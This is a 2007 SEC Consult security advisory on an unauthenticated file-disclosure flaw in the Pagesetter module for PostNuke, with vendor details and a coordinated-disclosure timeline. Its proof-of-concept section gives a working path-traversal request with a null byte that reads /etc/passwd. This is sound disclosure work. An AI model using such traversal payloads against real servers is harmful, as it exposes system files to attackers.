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SEC Consult Security Advisory 20070226-0
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title: File Disclosure in Pagesetter for PostNuke
program: Pagesetter page creation module
vulnerable version: 6.2.0
6.3.0 beta 5
impact: high
homepage: http://www.elfisk.dk
found: 2006-11-21
by: D. Matscheko / SEC-CONSULT /
www.sec-consult.com
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vendor description:
---------------
Pagesetter is a publishing module that allows the PostNuke users to
create web pages from structured data, with the data structure and
output templates defined by the PostNuke administrator.
[Source: http://www.elfisk.dk]
vulnerability overview:
---------------
The 3rd party module Pagesetter - up to its latest version (6.3.0
beta 5) - for PostNuke allows to read arbitrary files. An attacker
does not need to be logged in but has to know the filename.
proof of concept:
---------------
Here is a sample request that reads the file '/etc/passwd':
$ GET
'http://example.com/index.php?module=Pagesetter&type=file&func=previe
w&id=../../../../../../../../../etc/passwd%00'
vulnerable versions:
---------------
Version 6.2.0 as well as 6.3.0 beta 5 are vulnerable to the
described attack. No older versions were tested.
vendor status:
---------------
vendor notified: 2007-02-08
vendor response: 2007-02-08
patch available: 2007-02-08
coordinated disclosure: 2007-02-26
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SEC Consult Unternehmensberatung GmbH
Office Vienna
Blindengasse 3
A-1080 Wien
Austria
Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com
EOF David Matscheko / @2007
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